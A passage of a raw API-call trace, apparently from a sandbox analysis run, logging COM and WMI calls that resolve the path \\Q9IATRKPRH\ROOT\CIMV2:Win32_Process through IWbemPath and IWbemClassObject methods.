pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0130.295] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0130.295] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b9d0, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1aa0b9d0) returned 0x0 [0130.295] WbemDefPath:IUnknown:AddRef (This=0x1aa0b9d0) returned 0x3 [0130.295] WbemDefPath:IUnknown:Release (This=0x1aa0b9d0) returned 0x2 [0130.295] WbemDefPath:IWbemPath:SetText (This=0x1aa0b9d0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0130.295] IWbemClassObject:Get (in: This=0x1bb929a0, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0130.295] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0130.295] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0130.295] IWbemClassObject:Get (in: This=0x1bb929a0, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0130.295] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0130.295] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0130.296] IWbemClassObject:Get (in: This=0x1bb929a0, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0130.296] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0130.296] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0130.296] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0130.296] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0130.296] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0130.296] IUnknown:Release (This=0x1a943398) returned 0x1 [0130.297] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bba6b90) returned 0x0 [0130.298] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bba6b90, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0130.298] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bba6b90, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0ba90) returned 0x0 [0130.298] WbemDefPath:IUnknown:Release (This=0x1bba6b90) returned 0x0 [0130.298] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ba90, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0ba90) returned 0x0 [0130.298] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ba90, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0130.298] WbemDefPath:IUnknown:AddRef (This=0x1aa0ba90) returned 0x3 [0130.298] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ba90, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0130.298] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ba90, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0130.298] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ba90, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bba6bd0) returned 0x0 [0130.298] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bba6bd0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0130.298] WbemDefPath:IUnknown:Release (This=0x1bba6bd0) returned 0x3 [0130.298] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0130.298] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0130.299] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ba90, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0130.299] WbemDefPath:IUnknown:Release (This=0x1aa0ba90) returned 0x2 [0130.299] WbemDefPath:IUnknown:Release (This=0x1aa0ba90) returned 0x1 [0130.299] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0130.299] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0130.299] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ba90, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0ba90) returned 0x0 [0130.299] WbemDefPath:IUnknown:AddRef (This=0x1aa0ba90) returned 0x3 [0130.299] WbemDefPath:IUnknown:Release (This=0x1aa0ba90) returned 0x2 [0130.299] WbemDefPath:IWbemPath:SetText (This=0x1aa0ba90, uMode=0x4, pszPath="") returned 0x0 [0130.299] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0130.299] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0130.299] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0130.299] IUnknown:Release (This=0x1a943398) returned 0x1 [0130.301] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bba6b90) returned 0x0 [0130.301] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bba6b90, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0130.302] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bba6b90, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0bb50) returned 0x0 [0130.302] WbemDefPath:IUnknown:Release (This=0x1bba6b90) returned 0x0 [0130.302] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bb50, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0bb50) returned 0x0 [0130.302] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bb50, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0130.302] WbemDefPath:IUnknown:AddRef (This=0x1aa0bb50) returned 0x3 [0130.302] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bb50, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0130.302] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bb50, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0130.302] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bb50, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bba6c10) returned 0x0 [0130.302] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bba6c10, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0130.302] WbemDefPath:IUnknown:Release (This=0x1bba6c10) returned 0x3 [0130.302] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0130.302] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0130.302] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bb50, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0130.302] WbemDefPath:IUnknown:Release (This=0x1aa0bb50) returned 0x2 [0130.302] WbemDefPath:IUnknown:Release (This=0x1aa0bb50) returned 0x1 [0130.302] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0130.302] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0130.302] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bb50, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0bb50) returned 0x0 [0130.302] WbemDefPath:IUnknown:AddRef (This=0x1aa0bb50) returned 0x3 [0130.303] WbemDefPath:IUnknown:Release (This=0x1aa0bb50) returned 0x2 [0130.303] WbemDefPath:IWbemPath:SetText (This=0x1aa0bb50, uMode=0x4, pszPath="") returned 0x0 [0130.303] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bb50, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0130.303] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0ba90, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0130.303] WbemDefPath:IWbemPath:GetClassName (in: This=0x1aa0bb50, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0130.303] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0bb50, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0130.303] WbemDefPath:IWbemPath:SetServer (This=0x1aa0bb50, Name="Q9IATRKPRH") returned 0x0 [0130.303] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0130.303] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0130.303] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0130.303] IUnknown:Release (This=0x1a943398) returned 0x1 [0130.304] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bba6c30) returned 0x0 [0130.305] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bba6c30, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0130.305] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bba6c30, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0bc10) returned 0x0 [0130.305] WbemDefPath:IUnknown:Release (This=0x1bba6c30) returned 0x0 [0130.305] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bc10, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0bc10) returned 0x0 [0130.305] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bc10, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0130.305] WbemDefPath:IUnknown:AddRef (This=0x1aa0bc10) returned 0x3 [0130.305] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bc10, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0130.305] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bc10, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0130.305] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bc10, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bba6c70) returned 0x0 [0130.305] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bba6c70, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0130.305] WbemDefPath:IUnknown:Release (This=0x1bba6c70) returned 0x3 [0130.305] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0130.305] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0130.306] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bc10, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0130.306] WbemDefPath:IUnknown:Release (This=0x1aa0bc10) returned 0x2 [0130.306] WbemDefPath:IUnknown:Release (This=0x1aa0bc10) returned 0x1 [0130.306] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0130.306] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0130.306] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bc10, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0bc10) returned 0x0 [0130.306] WbemDefPath:IUnknown:AddRef (This=0x1aa0bc10) returned 0x3 [0130.306] WbemDefPath:IUnknown:Release (This=0x1aa0bc10) returned 0x2 [0130.306] WbemDefPath:IWbemPath:SetText (This=0x1aa0bc10, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0130.306] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bb50, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0130.306] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bc10, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0130.306] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bc10, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0130.306] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bc10, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0130.306] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1aa0bb50) returned 0x0 [0130.306] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bc10, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0130.306] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0bc10, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0130.306] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0bc10, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0130.306] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0bb50, uIndex=0x0, pszName="ROOT") returned 0x0 [0130.306] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0bc10, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0130.306] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0bc10, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0130.306] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0bb50, uIndex=0x1, pszName="CIMV2") returned 0x0 [0130.306] WbemDefPath:IWbemPath:GetClassName (in: This=0x1aa0bb50, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0130.306] WbemDefPath:IWbemPath:SetClassName (This=0x1aa0bb50, Name="Win32_Process") returned 0x0 [0130.306] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0bb50, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0130.307] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bb50, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0130.307] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bb50, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0130.307] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bb50, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0130.307] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0bb50, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0130.307] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bb50, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0130.307] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bb50, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0130.307] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0bb50, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0130.307] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b910, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0130.307] 